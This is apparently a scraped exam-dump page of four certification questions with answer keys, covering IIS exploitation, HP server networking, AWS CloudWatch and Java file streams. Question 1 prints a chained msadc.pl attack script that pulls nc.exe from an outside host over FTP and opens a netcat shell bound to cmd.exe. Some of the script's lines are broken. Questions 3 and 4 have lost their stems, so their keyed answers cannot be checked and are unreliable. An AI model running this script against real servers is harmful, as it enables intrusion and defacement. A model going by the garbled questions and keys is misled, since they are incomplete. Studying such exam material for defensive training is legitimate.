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It suddenly occurs to me that an important exam is coming.

NEW QUESTION: 1
A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:
system("perl msadc.pl -h $host -C \"echo open $your >testfile\"");
system("perl msadc.pl -h $host -C \"echo $user>>testfile\"");
system("perl msadc.pl -h $host -C \"echo $pass>>testfile\"");
system("perl msadc.pl -h $host -C \"echo bin>>testfile\"");
system("perl msadc.pl -h $host -C \"echo get nc.exe>>testfile\"");
system("perl msadc.pl -h $host -C \"echo get hacked.html>>testfile\""); ("perl msadc.pl -h $host -C \"echo quit>>testfile\""); system("perl msadc.pl -h $host -C \"ftp \-s\:testfile\"");
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\"");
Which exploit is indicated by this script?
A. A SQL injection exploit
B. A denial of service exploit
C. A buffer overflow exploit
D. A chained exploit
Answer: D

NEW QUESTION: 2
HP ProLiant DL380 Gen8 servers a Flexible LOM option.
Which technologies are supported? (select four)
A. 10 GB Flex-10
B. Dual Channel Gen3 SAS
C. 1 GB Ethernet
D. 10 GB Ethernet
E. 10 GB Flex-Fabric
F. InfiniBand
G. 16 Gb Fibre-Channel
Answer: C,D,E,F
Explanation:
See www.hp.com/go/ProLiantNICs http: //h20195.www2.hp.com/V2/GetPDF.aspx%2F4AA4-6708ENW.pdf and Networking flexibility in HP ProLiant Gen8 servers with HP ProLiant Gen8 servers with FlexibleLOM technology: http: //www8.hp.com/h20195/v2/GetDocument.aspx?docname=4AA4-6708ENW

NEW QUESTION: 3

A. Option D
B. Option C
C. Option B
D. Option A
Answer: C
Explanation:
Reference:
http://aws.amazon.com/cloudwatch/

NEW QUESTION: 4





A. Stream<Path> stream = Files.find(
Paths.get ("/company"), 1,
(p,b) -> b.isDirectory (), FileVisitOption.FOLLOW_LINKS);
B. Stream<Path> stream = Files.walk (Paths.get ("/company"));
C. Stream<Path> stream = Files.list (Paths.get ("/company"));
D. Stream<Path> stream = Files.list (Paths.get ("/company/emp"));
Answer: A